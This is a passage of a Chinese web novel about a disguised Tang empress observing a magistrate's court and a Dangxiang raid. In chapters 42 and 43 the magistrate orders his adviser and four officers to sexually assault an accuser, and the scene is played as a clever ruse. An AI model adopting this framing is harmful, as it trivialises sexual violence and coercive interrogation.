眼前这女人很难缠,是他见过商贾中最难缠的。 不过以往他接触到的,基本上是没脑子的那种,这还是第一次和世家大族合作。 “行,不过我也有个条件!” “请说!” “立合约,如果有一方违约,那么必须以合约上的金额,十倍赔偿!” 秦曦愕然,她以为是什么大事,不过旋即露出了玩味的表情。 “好弟弟,你不会半路截杀姐姐,然后造成姐姐违约的假象吧?” “呃……没有!” 许攸差点把内心的话说出来,他缺钱都缺的整日睡不着,如今巴不得秦曦出事,然后赔偿。 结果内心想法,猛地被说出来,让他老脸也是一红。 秦曦更是暗暗深吸一口气,她没想到自己只是试探,哪料到许攸真的敢这么想。 “此獠果然心狠手辣!” 两人各有小心思,互相都不敢直视对方。 “许大人,那这合同在什么地方签订?” 眼看气氛变得尴尬,和事老李牧只能硬着头皮站出来。 许攸没好气的道。 “自然是去县办事厅,不然去什么地方?” “那就劳烦车夫了!” 牛车调转了个方向,缓缓朝着县办事厅而去。 很快秦曦几人就知道,为什么不是县衙,而是办事厅! 出现在几人面前的,是一座巍峨的建筑。 建筑入口处写着“青尧县办事大厅”! 即便是住习惯皇宫,猛然看到如此巍峨的办事大厅,秦曦也忍不住失神片刻。 红砖绿瓦,朱红色大门厚重宽大,灰白色墙壁上满是各种诗句和画作。 踏入办事厅正门,映入眼帘是三座呈三角的建筑,楼高七层,上方人影攒动,无一不彰显此地的奢华和热闹。 秦曦瞪大眼,将眼前的景象尽收眼底,嘴角微微勾起。 “有意思!” “许弟弟,你的县衙,可真的让我大开眼界!” 何止是大开眼界,简直是闻所未闻! 县衙都是标准的前衙办事,后衙住人,外加监牢和文书房等地。 反观眼前的县衙,与其说是县衙,倒不如说是酒楼和客栈,装扮的富丽堂皇,完全没有县衙那威严庄重。 讥诮话语响起,许攸权当没听到。 “秦姐姐,我这青尧县人口巨大,自然要有专门的办事处。” “你看那边的楼,专门负责县中开支,包括保障处、税务处等,而另外一栋,则是负责医疗文化教育。” “这栋主楼负责的事情更多,士农工商都有,我若是不搞的齐全点,百姓过来办事,我们怎么处理?” 秦曦放眼看去,眼前这三栋楼,可容纳上千人,如此巨大的数量,连朝廷都要汗颜三分。 一个县衙,需要如此多的官员? 这当真不是朝堂? 她是懒得开口,现在她心底已经确定,许攸就是在占山为王,自立称王! 跟着许攸进入到主楼,里面人来人往,见到许攸的,无一不点头问好。 看到这一幕,秦曦内心五味杂陈。 往来无论是办事百姓还是官员,都对许攸敬畏有加,他们脸上不仅有敬畏,还有崇拜以及信任。 这足以说明,许攸对青尧县的掌控,已经到了密不透风的地步。 “许大人,你可算回来了!” 就在这时候,狗头军师从内堂跑出来,看到许攸大摇大摆在这里闲逛,急忙拉着他就往后面走。 秦曦看的好奇,也跟着往后走。 几人来到后堂,里面早已有不少人,其中两人坐在堂中,面前有张桌子,上面有两个不同牌子。 “原告”,“被告”! 刚还满是喧闹的厅堂,许攸刚出现,就变得安静。 连带秦曦也屏住呼吸,连大气都不敢喘。 “几位你们随意,我要处理点公务。” 许攸见到厅堂内景象,接过军师递过来的官帽戴上,随后大步朝着上方走去。 “本官许攸,原告和被告何事?” “被告刁德一你先说!” 台下秦曦等人也寻到旁听席,跟着那些百姓一起吃瓜。 “啧啧有好戏看了,许大人要是捏下巴,那就是死罪!” “要是不捏下巴改搓手,那就是活罪!有没有下注的?” 第四十二章 你去办了她 秦曦心中好气又好笑。 何时大唐官员办案,也能下注,还能在厅堂上如此喧闹? 这些人不但没人制止,反而周遭还有不少人露出赞同的神色。 李牧也凑过去,从怀里掏出一两银子,放到摸下巴那边。 “几位,难不成许大人断案,全靠感觉行事?” 那吆喝押注的男人闻言,很是惊奇的看向他。 见李牧衣着不菲,又出手大方,他便笑着调侃道。 “哪有什么断案,能送到这里的案子,早就查明了,不过是走走流程而已。” “等会你就看好,许大人那断案速度,可谓是在世青天,活脱脱的阎王爷啊!” 李牧更加疑惑,既然案子查明,那就宣判即可,为何要大张旗鼓的在厅堂上再次审理? 此刻台上的许攸,捏起惊堂木,重重拍在桌案上。 “肃静,政事厅不得喧哗,违者重则!” “被告刁德一,你可有什么陈诉的?” 闻言,被告刁德一立刻开始控诉。 “许大人,学生冤枉啊!” 他这一开口,整个厅堂立刻就仿佛炸开锅。 旁边桌案上的妇人,就仿佛是的了失心疯,指着刁德一就大骂。 “许大人,就是这个畜生,我供他这么多年,让他读书识字,结果……呜呜。” 妇人捂着脸,似乎受到天大委屈。 庭下也议论纷纷。 刁德一看上去就是个书生模样,而且他自称学生,那必然是学堂的学生。 学堂内无论是文化课还是技工学堂,都把德放在第一位,怎么也不会弄出个白眼狼。 众人好奇之下,妇人哭的愈发悲呛,那样子就似乎被侮辱了般。 秦曦也面露疑惑。 看妇人样子,一看就是悍妇性格。如此悍妇能供给自家男人吃穿读书,那可是美谈。如此美好的家庭,怎么会闹到厅堂上? 就在她疑惑时,妇人捂着脸,断断续续道出原委。 原来妇人和丈夫开了个磨坊,每日天不亮就要开始磨豆子。 她丈夫前两年因工伤去世,家里重活就落在她头上,而丈夫的弟弟,也就是刁德一,这几日临近大测。 为了让小叔子有个安静的学习环境,她卯时便起床磨豆子。今日起得早,外加上磨豆子太热,便把衣服脱了就剩下渎衣。 “许大人,我待他不薄,可他却如此对我。” “呜呜,我没脸活了!这让我怎么活,我的天老爷,我被人给玷污了!” 妇人越哭声音越大,整个厅堂内,她一人的声音,就盖过了所有人。 “畜生!”秦曦双眼微红,“身为读书人,居然如此不知礼义廉耻,不知恩德,改死!” 不少人也露出赞叹神色,刁德一见色起意,把自己婶婶给玷污了,这多少有点不是人。 然而李牧却笑而不语,摇着头轻声道。 “此事未必没有玄机!” “玄机?” 秦曦眉头紧皱,事情如此明了,只要让人验明妇人是否被侮辱,那就能查出结论,根本不用继续深究。 也正如她想的一样,许攸立刻找来专业医师,带着妇人前去检查。 不到盏茶的时间,医师带着一份资料,送到了厅堂上。 “回禀许大人,原告范氏确实和人有过亲密行为!” 轰隆! 此话不易于旱地惊雷,厅堂下立刻炸开锅。 “我就说嘛!刁德一这小子看着木讷,没想到是个坏种,居然做出这种事情!” “范氏也是倒了血霉,刚死男人没多久,就被自己小叔子惦记,如此不要脸的人,就应该送到菜市口砍了!” “龌龊,下贱,低俗,细节呢?” 人群议论纷纷,秦曦脸色也难看至极。 她最恨的就是这种男人,当年她也有青梅竹马,可惜那人最终投靠了大皇子,还从她这里骗取不少情报。 她以为自己是真心换真心,到头来一场空,最终在登基前夜,手刃了心爱之人。 如今再看到这种戏码,内心怒火上扬,恨不得现在就提刀,一刀砍了场上的刁德一。 “咳咳,稍安勿躁!” 许攸悠哉悠哉的翻看了下卷宗,随后捏起下巴。 看到他的动作,厅堂下再次陷入哗然。 “杀得好!此子不杀,不正我青尧法典!” “这许攸也算有点能力!” 虽然许攸从头到尾,就那么几句话,但在秦曦眼底,至少也断了案子。 可接下来的局面,却让她更加懵逼。 “范氏,我问你,你说被告趁你休息时,突然闯入后院,将你推在磨盘上,进行侮辱,是与不是?” 范氏连连点头,捂着脸不停哭诉。 “大人,这个畜生故意趁我不备,我不干净了。” “稍安勿躁,我再问你,你确定是他强迫,而不是你引诱?” 此刻厅堂内只有许攸和范氏的声音,堂下早已一片死寂。 秦曦眉头紧锁,她不明白案子已经水落石出,只要斩了刁德一,那就没任何问题。 只是许攸却多此一举,在这问东问西,似乎真要问出点细节。 “昏庸无能,只知道敛财,吸百姓血肉!” 在她心里,给许攸的标签,又多了几道。 许攸不知道这些,依旧不慌不忙的询问。 确定是强迫后,他看向身边的狗头军师。 “师爷,你去办了她!” “啊?” 狗头军师懵了,好好的审案,怎么突然就变成了大型表演现场? “不乐意?你不是天天说红花楼的姑娘不得劲,你看范氏如何?你要是不去,本老爷今天就发你去煤矿挖煤。” 狗头军师脸都绿了,煤矿挖煤那可不是人干得,都是那些盗匪和犯了大罪的人才会去。 虽说范氏长得标志,也算个美人,可那胳膊比他腿都粗,真要动强,他怕被范氏弄死。 “那个许大人,我试试!” 厅堂下的众人一个个瞪大眼睛,浑然没想到事情会朝着这个地步发展。 范氏也懵了。 她万万没想到,许攸居然会下令,让人强行弄了她! “大人,民妇怨啊!” 一声哀嚎冲天而起,也让安静的政事厅,彻底陷入喧闹。 秦曦气得双肩颤抖,素手捏住椅子,大有现在就飞身上前,将那狗头军师,以及许攸,一起给砍了! 场面变得格外刺激,狗头军师狞笑着,一步步朝范氏走去,双手不断搓动。 “范氏,你就别跑了!” “荒唐!简直荒谬至极!” 秦曦实在看不过眼,干脆捂住耳朵,把眼睛也给闭上。 第四十三章 一个不行,那就四个 “嗷呜!” 厅堂上下一秒,传来不是范氏哀嚎,而是狗头军师的痛苦悲呼。 然而面对这个情况,许攸并不满意,而是冷着脸看向旁边的差役。 “你们四个一起上,今天就当本老爷心情好,赏你们的!” 秦曦本以为范氏逃过一劫,谁知道许攸如此荒唐,不但没阻止恶行,反而还让差役出面。 “荒唐,此獠简直荒唐无道!” 周遭百姓也开始议论。 “妈呀,范氏这是犯了天条,不过这身段当真可以!” “不对劲啊!你们是不是傻,范氏天天磨豆子,身上力气比一般男人都大,就刁德一那细胳膊细腿的,能弄得过她?” “这可说不定,要是弄点什么合欢散什么的,指不定半推半就就成了呢?” 众人议论纷纷,但没有人职责许攸断案有问题。 秦曦被这顿议论,弄的心情很是烦躁。 “岂有此理,上梁不正下梁歪!” 她的声音不大,只有李牧和蒙武听到。 然而就是这番话刚说完,她便看到场中情况大变! 范氏常年磨豆子,那力气可不是吹嘘,四个差役堪堪压住她,至于狗头军师,到现在还抱着小肚子,在地上打滚。 见此一幕,许攸冷冷拍了下惊堂木。 “都住手,范氏,我再问你一句,你确定是被告刁德一强迫,趁你休息时候,对你进行的侵犯?” “是……是的,许大人。” 范氏被松开,气喘吁吁的回答,但话语中明显没了之前那底气。 “那我问你,他是用的何种姿势,到底是进去,还是没进去?” 这一问,范氏脸色明显变得苍白。 厅堂下也反应过来,五个人其中四个是差役,都要每日训练的那种,这种情况下面对范氏的蛮力,都吃瘪了。 就刁德一那小身板,估计和狗头军师下场没区别,哪怕范氏力竭,随便一脚一拳,就能送对方去见哥哥。 秦曦更是张大小嘴,眼眸中浮现出迷茫。 这案子,它对吗? 堂上的赵北川冷笑连连,抬手将卷宗拿起。 “本老爷要是没记错,前年刁德一的哥哥,刁炸天去世时,本老爷亲自携纹银百两上门问候。” “那时你家磨坊内,还有一名帮闲,名叫宋二,不知道这位宋二,现在何在?” “对了,刚才仵作送来尸检,刁炸天上工时候意外身王,但自他体内发现不少五石膏,敢问你如何解释?” 听到五石膏三个字,在场不少人脸色大变,包括秦曦也在内。 五石膏可是禁药,此药少量服用,可以镇痛止疼,常常用于军伍急救所用,但吸食过量后,有依耐性,身体也会逐渐崩溃。 常年吸食的后果,就是出现幻觉,四肢无力,还容易暴怒以及头疼。 皇室中有不少人喜好此物,去年就有官员供奉五石膏作为贺礼,被秦曦察觉,直接下令斩了那官员。 此等祸 国殃民的毒物,居然出现在小小妇人手里。 “青尧县十大管制药物,五石膏乃第九,范氏你在青尧县四年,不会不清楚!” “那么你能告诉本官,五石膏到底是怎么出现的吗?还有那宋二的来历,你莫不是也不知道?” 咔嚓! 惊堂木再次拍下,此刻无人敢吱声,就连秦曦都下意识屏住呼吸,身形坐正,仿佛犯错的孩子。 “传令城卫军,调动千机营、火器营、重骑营出城,三日之内抓住宋二,清缴贼寇!” 到了这一步,再傻的人也知道,这宋二并非大唐之人。 范氏脸色更是煞白,身体不再是坐在椅子上,而是扑通滑跪到了地上。 她的脑袋不停砸在地板上,鲜血顺着额头溢出。 “许大人饶命,许大人饶命啊!” “民妇再也不敢了,求许大人饶命!” 此案已经不是简单的通奸强迫那么简单,而是有外族入侵! 青尧县这么多年,此事经常有,大家表面上和气,背地里都是互相捅刀子。 如今查到宋二居然是内应,还在城里潜伏了两年,许攸心中怒火彻底爆炸。 “害我大唐百姓,通敌叛国,你还让本老爷饶你?” “本县虽有不杀法案,但今日你可怨不得本老爷!你速速从实招来,否则扒皮抽骨,本老爷会亲自审你!” 就在这时,李牧却想到什么,急忙扭头看向蒙武。 蒙武额头冒出细密汗珠,脸上也是紧张神色。 见此情况,秦曦也反应过来,三人立刻起身来到无人的角落。 “蒙武,何事?” “陛下,我等……怕是暴露了!” “什么?!!” 秦曦不敢置信,凤眸瞪圆,眼底的寒意一闪而逝。 昨日她就下令让墨麟军后撤,难道是墨麟军的动作太大,导致被发现了? 再想到刚刚许攸的话,她不禁从背后升起冷汗。 三营出动,虽不知道千机营和火器营是什么,但重骑营对于三人而言,可都不陌生。 大唐军制,十人一队,百人一伍,千人一营!足足千人重骑,墨麟军拿什么抵挡? 见识过那黑甲城卫军的厉害,三人心里很清楚,所谓大唐第一精锐墨麟军,在千人重骑下,不过是待宰羔羊。 “陛下,还请移驾!” 到了这时候,不管墨麟军会不会被发现,秦曦必须离开。 秦曦脸色发白,如此时刻,她不想走,可不得不走。 “不行,月儿还在客栈,我等先回去!” 李牧看了眼蒙武,后者点点头,脸上的寒霜并未消减,从他的眼神中,李牧还看到了一丝的恐惧。 身为当朝大将军,身经百战的存在,却被一支诡异无比的城卫军,给打的胆寒了! 三人再次回到原来位置,此刻案件已经到了尾声。 范氏交代下,全场愕然,原来刁炸天的死,都是宋二谋划。 宋二不是唐人,具体是那个族的,范氏并不知道,只知道很有钱,也很会说话,一来二去两人就苟合到了一起。 可惜奸情是纸包不住火,最终被刁炸天发现,为了避免走漏风声,两人只能下毒伪装刁炸天工作时失事。 “报!城西发现大鼓贼寇,还请大人定夺!” 一道急报声,彻底打破政事厅死寂。 “判处范氏死刑,择日执行,剥夺刁德一学子身份,世代不得为官!” “紧急退堂!” 第四十四章 女帝托孤 轰隆! 政事厅大门轰然闭合,范氏被四名差役押走,至于刁德一,则是满脸为哥哥报仇后的喜悦。 秦曦等人没心情继续打听案件,此刻墨麟军就在城西五十里位置。 五十里对于哨兵而言,并不算远,这股贼寇说的,十有八九就是墨麟军。 回到客栈,秦曦的脸上浮现出凝重。 “李相,你觉得许攸所训练的士卒,我大唐可有步卒可以抵挡?” 这问题很尖锐,也很严重。 李牧闭上眼,飞快回忆昨夜的见闻。 那恐怖的铠甲,完全就是为了搏命准备,没有任何美感可言。 还有那些能短时间射出箭雨的手弩,百步之内手弩无敌,百步之外重骑无敌。 他不敢想象,如果是这种精锐出现在战场,那会是何等情况。 哪怕是只有三千人,亦可横扫万人! 可怕的不仅仅是这些,以他执政多年经验,也能看出来这些士卒身上不同的气质。 “陛下,还记得那日,那教官所言?” “行如风,站如松!这些城卫军和执法队,无论言行举止,都彻底贯彻了这点!” “他们就仿佛一人,无论是装备还是杀伐气息,都远飞普通士卒可以比肩。” “哪怕是墨麟军在此强军面前,也不过是……” 李牧仰头长叹,大唐建国许久,墨麟军震慑四方,可青尧县不过五年时间,居然硬生生打造出了一支铁血强军。 这些士卒面对普通百姓,和面对贼寇的态度完全不同,那冲天的杀伐气息,只有经历过百场血战厮杀,才有那样恐怖气息。 “大唐之中无人能敌,墨麟军也不过是蝼蚁罢了!” 秦曦倒吸一口凉气,她对李牧的判断,从未有任何猜忌和不相信。 墨麟军是什么? 那可是大唐的砥柱,是大唐最重要的基石,也是大唐最锋利的剑与最强大的盾。 可如今墨麟军只能用蝼蚁形容。 可想而知,青尧县这支城卫军,到底是有多恐怖! 不,这已经不是恐怖可言! “许攸不单单是私藏兵刃,训练士卒,而是训练出了一头嗜血的狼!” “他要吃了大唐,吃了朕的大唐啊!” 秦曦心中悲呛,登基三年,兢兢业业许久,到头来却发现,连最为器重的墨麟军,也无法护卫大唐。 如今的大唐属于内忧外患,内有国贼虎视眈眈,外有十八族觊觎,随时可以南下,马踏长安! 若是这两者联合,大唐不过是风雨中的孤舟,顷刻间便会倾覆。 “陛下,早做打算,现在走还来得及!” 走? 秦曦眼底浮现出嗜血光彩,她是大唐的皇帝,若是她不能镇守大唐,那这个大唐还有何意义? “那些百姓曾说,朕守不了国门,朕倒要看看,他许攸是如何镇守国门的!” “朕不退,一步不退!” “通知康王及诸位亲王,准备勤王!” 说道此处,秦曦眼角划出一滴清泪。 李牧深深叹息一声,并未阻止,只是单膝跪地,面朝秦曦恭敬的作了一礼。 “公主秦月乃奇才,淮南王王孙,安业王次子,康王长子等亦可!” “让小月儿代替朕,舅舅,这个天下交给你了!” 秦曦缓缓从身上掏出一枚印玺,不过是婴儿拳头大小。 她郑重其事交给李牧,眼底的决绝更加浓郁。 “若是朕有意外,舅舅你可以便宜行事,定要护我大唐江山三十年!” “好!” 李牧没多言,接过印玺后,双膝跪地,重重三叩首。 在旁边的蒙武,也躬身跪下,两人都知道,此事没了回旋的余地,若是真出意外,只能让李牧带着小公主先走。 …… 一夜就这么过去,几人都没睡好,秦曦彻夜难眠。 城中已经开始戒严,但百姓们却没当回事,依旧是那热闹的景象。 推开窗户,芳草混合泥土的清香扑面而来,各种欢声笑语不断,如此富饶景象,不是在长安城,而是在西北边塞。 秦曦简单擦洗了下自己的脸,让她看的不是那么憔悴,转而来到床边,将小公主给抱起。 “月儿,今日你就在客栈休息,姐姐要和舅舅去商讨要事,若是姐姐没回来,就让舅舅带你离开。” 小公主兰惠心质,从秦曦的面容上,已经猜到了肯定是发生意外。 不过人小聪慧的她,并未阻止秦曦,而是从怀里掏出一个小香囊,将其塞进秦曦的手心。 “姐姐,这是阿娘在世时,给月儿求的平安符,你一定要早些回来。” “嗯。” 秦曦眼底泪花浮现,她身上已经没了帝王的威严,此去她要打探清楚,青尧县到底有多少兵,以为大唐未来续命。 为了大唐的未来,哪怕是用上她这条命,也在所不惜! 交代完后,她又招来玄影卫,将玄影卫的令箭,交给了小公主,随后带着五名玄影卫,悄无声息的离开客栈。 一行人来到城门口,今日的城门口盘查比往日严格,所有人都要经过检查才能进出。 秦曦是女子,也逃不过去,不过是几名嬷嬷负责检查。 一番检查后,几人得以出城,再次踏上官道。 不过几人走了一段路,见到四周无人,立刻调转马头,朝着另外个方向疾行。 昨夜玄影已经调查清楚,城卫军驻地并不在城中,而是在青尧县南北两侧。 随着距离拉近,众人也能感受到,空气中弥漫着肃杀气息。 周遭没了田地,全都是草地,越往里走,肃杀气息愈发浓厚,在靠近营地五里位置,一道粗木构成的墙,挡住了他们的去路。 上面有鲜红字体标语。 “兵营重地,擅闯者死!” 字体血红,仿佛是用血液书写。不等几人靠近,突然天空中发出急促的哨声。 紧接着,他们的头顶,传来巨大声响。 “前方乃军事禁区,请速速离开!” 声音不断回荡,如洪钟大吕,砸在众人心头。 粗木巨大,将众人视线完全遮蔽,看不到里面的景象,秦曦心中更是焦急。 她往前一步,正要说话,一股危机感当头冲来! 第四十五章 女帝身份暴露了 “哆哆哆!” 天空中射出一排箭雨,就在她面前半米位置。 看到这一幕,秦曦额头冷汗冒出,身体不由自主的打了个冷颤。 “好恐怖的箭术!” 想要练成如此恐怖的箭术,可不是一朝一夕就能办到。 秦曦心头大震,愈发确定这里就是青尧县的军营。 “军爷,我等迷路到此,实在不好意思,只因为带的干粮和水都喝完了,本打算去县城,可马也跑的疲,不知道能否换些吃食,在此地修整片刻?” 这个借口很合理,几人狂奔了快三十里,他们的马也不是好马,这一刻都奄奄一息的模样。 箭垛上的士卒斜瞥一眼,脸上表情没有丝毫变化。 “军事重地,擅入者死!” 秦曦的脸上表情僵住,好歹她也是倾国倾城的美女,结果这些人和木头似的。 “军爷,你就行个方便,我等实在坚持不了那么长的路。” 冰冷,依旧是那冰冷态度,别说开门,就连看都懒得多看一眼。 就在这时候,紧闭的营地大门,打开了一条缝隙,从里面丢出五个袋子。 “拿上,速速离开,不得逗留!” 袋子精准落到秦曦面前,从里面滚出几个铁盒子,以及几个水壶模样的东西。 秦曦深深的看了眼再次关上的营地大门,无奈只能冲着箭垛上士兵道谢。 “谢谢军爷,些许银钱,还请你们不要嫌弃。” 她将布袋拿上,小心翼翼在原来位置,放了五十两银子,随后起身招呼众人。 “都走吧,我们换个地方休息,不要打扰了人家。” 一行人将东西分开,各自喝了点水后,骑上马缓缓前行。 走了差不多两里路,秦曦转头看向已经看不到的军营,眼底露出了凝重。 “蒙武,你有几分把握能进入?” 蒙武摇摇头,军营看似简单,实则明哨暗哨不少,就光门口至少有三十多处暗哨,他们刚才要乱闯,就已经变成了筛子。 想要绕过这些暗哨进入营地,那只能说是十死无生。 “玄影,你们能进去吗?” 玄影卫历来没有名字,只有代号。 此刻为首的男人,也默然摇头。 “陛下,我等能进去,但不可能活着出来。” “去吧!无论如何,都要留一口回来,朕要知道,此地有多少人,到底藏有什么秘密!” 军营连绵,占了快有一个山头大小的地界,这绝对不是一个县应该有的防备力量。 更何况,这才是两座军营其中之一! 饶是秦曦之前早就想到,可亲自看到眼前景象,依旧心惊肉跳。 “蒙武,你立刻传令墨麟军,让他们分成百人小队,随时准备突围!” “一旦朕与你等被困,他们必须保护小公主和李相安全!” 秦曦没打算回去,她可是大唐的皇帝,落到许攸这狗贼的手里,到时候肯定会被狠狠羞辱,说不定连清白都保不住。 与其到时候被受辱,她不如血溅沙场,也算是为自己正名。 蒙武没有半点犹豫,躬身抱拳,驾着马快速狂奔而去。 …… 与此同时,许攸正在后院享受侍女的按摩,他身上穿着长袍,手里拿着串葡萄。 “吃葡萄不吐葡萄皮,那狗皇帝都这么些时日,怎么还不派人过来?” “胭脂,你说老爷我这么帅,为啥那秦姐姐就看不上咱呢?” “嘶,你轻点!” 许攸暗自伤神,俗话说的好,母胎单身三十年,看母猪都是眉清目秀的。 虽然他现在小日子过的不错,但娶媳妇的事情,他还是打算考虑下。 倘若那昏君一直不下旨弄死他,他总得给老许家留点血脉,可惜他看上的人,人家看不上他。 准确的说也不是看不上,他估计自己排不上号。 “京城来的大小姐,怕不是男宠都得从长安城排到江南,可惜老爷我天生丽质,居然得不到她的心。” “哎!” 就在这时,门外传来曹云飞那尖锐的声音。 “许兄,弟弟我打探清楚了,那秦掌柜来历可不一般!” 曹云飞这两日和狗腿似的,东奔西跑,还真让他打探了点东西出来。 许攸一听有关他的秦姐姐,顿时直起身。 “云飞你快说,我家秦姐姐到底是什么人?是皇亲,还是陇西秦氏?” 曹云飞脸上露出得意笑容,为了这消息,他可没少遭到康王夫妻联手混合暴打。 不过最后康王也给了条消息,那就是上面那位安排的,让他少打听,也别寻思报复。 “我可给你说,这位秦大掌柜,可是那位的人!” “当今天子什么姓?姓秦啊!你再想想,她可是出生陇西秦氏,那和天子可是表亲!” “这次为了护送她来此地,天子特意安排了五千墨麟军护送,那可是生怕她磕着。” “还有那小姑娘可不得了,你知道她的来历,千万别跪下。” 许攸满脸不屑,陇西秦氏的大小姐,这点他早就猜到了,不过他没想到,这位秦姐姐,居然和那昏君还有一腿。 这两人不会是百合吧? 卧槽! 想到这点,他脸色有点发绿! 百合虽然好,可是取向不正常,怪不得那秦姐姐看男人,就和看狗屎一样。 “那小丫头什么身份,你爹私生女?” “我爹?就我爹那三棍子打不出个屁的,他有私生女,我娘能用狼牙棒塞他嘴里。” 曹云飞很是不屑,俗话说龙生龙,凤生凤,结果他爹就是个废物,还是扶不上墙的废物。 “我可给你说,那小丫头是当今天子的掌上明珠,安阳公主!” 扑通! 许攸没坐稳,真的从椅子上滑了下去。 “丸辣!我的秦姐姐,你怎么真的是百合!” 他心里那叫个凉,好不容易看上个媳妇,居然还是个百合。 百合就算了,还是和那狗皇帝有一腿,这让他如何下手? 偏偏这时候,一份急报再次送来。 “报!许大人,城外发现党项残部,正在朝北大营秘密进发!” 许攸正头疼着,猛地听到这个消息,眼底寒光四溢。 “奶奶的,本老爷找不到媳妇,你们还敢来送死!” “这点小事你们自己处理,把他们全抓起来,送去挖煤!” “对了,给我准备份薄礼,我要去见我小媳妇。” 曹云飞竖起大拇指,论不要脸的程度,他比这个大哥可差得远。 “许兄,我给你准备好了,咱们这就去客栈!” “走!” 城外的秦曦等人,还不知道一场大祸,即将临头! 第四十六章 党项残部来袭 秦曦等人不敢走官道,刚刚那军营的神秘和恐怖,还在几人心头萦绕。 走了不知道多久,眼看青尧县县城已经可以看到轮廓,几人胯下的马发出了不安的嘶吼。 秦曦和李牧都被这异状惊动,纷纷看向最后赶来的蒙武。 “蒙武,出什么事了?” 秦曦的语气低沉,握住缰绳的手,也在微微颤抖。 蒙武没立刻出声,而是看向远处。 远处出现两队商队,和往日他们看到的没什么区别,都是骡子拉车。 车队上武夫神色轻松,车夫悠闲,众人有说有笑,浑然看不到半点的紧张。 偶尔周围有几个行人,路过此地,也只是加快脚步,每个人都很悠闲。 仔细查看了一番,蒙武深吸一口气,浑身似乎被寒意笼罩。 “陛下,你看这些人!” 秦曦闻言也将凤眸转头看去,视线落到那些人身上,她盯着看了几息,这才感觉到不对劲。 寻常百姓走路,那都恨不得有四只脚,反观刚才路过的那些百姓,走路很悠闲,脚下步伐扎实,不像是常年劳作的身形。 再看那车队,车队内武夫眼睛转动,时不时看向四周,左手大拇指始终按在腰间佩刀上。 车夫以及帮闲,每个人手里都拿着根竹子,竹子不长,只有一米左右,但都很粗,仔细看上去,这些人左手总是若有若无的握住竹子末端。 不止是他们,人群中还有很多类似这样,同样每个人都在握着东西,那神色间若有若无的在周遭打转,眼底深处的戒备,让人心寒。 那些目光间的阴狠、嗜血、残暴,无时无刻不充斥着秦曦的眸子。 他们已经将秦曦等人,当做了猎物! 秦曦脸色阴沉,额头渗出细密汗珠,双手握住缰绳,不自觉的收紧。 “他们不是唐人!” “是!” 蒙武神色愈发紧张,左手按着佩刀,浑身肌肉紧绷,如同猎豹,随时要扑出去。 “陛下,他们来着不善!” 让几人恐惧的是,随着他们距离拉近,这样的人越来越多,从空地到官道,总有人不经意汇聚而来。 他们看上去没有任何的威胁,也没多少恐怖气息,可他们身上的嗜血和残暴,完全遮掩不住。 这是一群训练有素的士兵! 如此精锐,又充满残暴嗜血气息的士兵,绝对不是大唐内的精锐! 他们就如此一步一步,逼近青尧县,那平淡的骡子蹄的声音,不断传出。 铜铃随着骡子行进,发出叮叮声。 李牧脸色煞白,他想到了个可能,急忙勒住缰绳。 “陛下,他们可能是外族之人!” “此地不宜久留,我等不如先行离开!若是有墨麟军护卫,至少我等能保全。” “若是在此出了岔子,或者让他们知道陛下身份,怕是……” 李牧怕死,但更怕秦曦出事,他虽然接下玉玺,也接下辅佐小公主继位的重任,不代表他想看着秦曦送死。 大唐的国主,要是在大唐内被外族凌辱,那大唐将成为历史上最大笑话。 秦曦听到这番话,脸上没有任何的害怕,反而凝现出冷冽的不屑。 “走?” 她的声音不大,却带着一份不容置疑的霸道。 “这里是大唐,是朕的天下!” “朕在自己的家中,为何要避?” “些许外族,岂敢在朕面前放肆!” “朕,不退!” 秦曦捏住缰绳,纤细身体挺直,那股睥睨天下的王霸之气,不断从她身体一出。 这是一条真龙,而不是什么蛟龙,她自登基以来,经历过夺嫡,经历过叛乱,经历过朝堂死谏。如今她第一次直面外敌,那股从骨子里的坚韧和霸道,此刻彻底宣泄。 “此乃大唐,是朕的天下,真倒要看看,何人敢掠我大唐锋芒!” 狂! 她有自己的自信,也有自己的傲骨! 面对许攸,她是无奈,可面对外敌,她是那无上帝王。 此刻的她,无疑动了真正的杀意。 李牧无奈叹息,想要再开口,又只能咽了回去,只是满心忧虑的低着头,祈祷这些人不是真冲他们来的。 蒙武则是捏住佩刀,眼底血光浮现。 “臣,誓死护卫陛下!” 他是大唐的将军,无论犯下多大错,那也是大唐的将军。 将军就应该战死沙场,马革裹尸,而不是在朝堂上苟且偷生。 “我乃上将军,此生无惧任何强敌,想要伤陛下,那就从某尸体上踏过去!” 蒙武横刀立马,横档在人群前方,以一人之力,挡住那些商队和路人的气势。 双方诡异的对峙起来,时间一分一秒流失,彼此都保持这个距离,谁也不敢先动。 就在这个时候,一道急促的马蹄声,从后方追来。 那人身穿黑袍,身形趴在马背上,随着马的奔驰,身形不断起伏。 看到那人影,秦曦心口猛地紧锁,呼吸都彻底凝滞。 此人正是玄影卫的统领,是她安排进入军营,去刺探军营情况的! “陛……陛下,撤……” 扑通! 还没靠近到秦曦身边,他的身影猛然从马背上坠落。 此时秦曦等人才发现,他的身上全是断掉箭矢,肩头一道伤口,自左肩到小腹,鲜血不断喷涌,惨白骨骼彻底暴露在众人视野。 “陛下,是……是外敌,他们是党项族残狼军!” “属下无能,陷入他们包围,还请陛下……速速撤离!” 党项! 秦曦记忆回荡,当年她夺嫡最后一步,党项三军突袭,残狼、风稚、黑云三军奇袭封禅大典,她差点死在突袭中。 当年是康王勤王,带着大军助她突围,让墨麟军能够有发挥空间。 可如今墨麟军被她下令拆散,再无勤王大军,面对党项突袭,他如何挡? “为何会有党项残部!” 这里可是大唐,党项残部居然悄无声息深入,她岂能不怒。 “天关守将在作何!荆州守将在作何!” “你可查明,他们有多少人?” 那人吐出一口黑血,临终之前缓缓吐露出一个骇人的数字。 “五……五……五万人。” 轰隆隆! 秦曦、李牧以及蒙武三人,彻底被这道惊雷轰懵。 五万人! 党项残部怕是全部出动,誓死要和大唐一争高下! 第四十七章 两千战五万精锐 秦曦坐在马背上,一动不动,犹如一尊木雕。 她没有愤怒,没有悲伤,周遭的空气不断凝结,冰冷刺骨的杀意,在她周身弥漫。 五万党项残部奇袭,大唐无法抵挡,也抵挡不住。 如此窒息的氛围内,鲜血刺激着众人眼球,也让空气变得更加肃杀。 先前那些路人和商队,此刻他们终于展露出了獠牙。 这些人动作并不快,可以说是很慢,每一步都似乎是踏在众人心头。 他们的伪装,在这一刻全部消散,那是属于他们自己本来的面目,残忍、弑杀、暴虐,那狰狞的杀意,在空气中激荡。 那是一种在死亡线上,不断喋血厮杀,才磨砺出来的恐怖。 蒙武身形猛然跃起,他胯下不是战马,但并不妨碍他的骁勇。 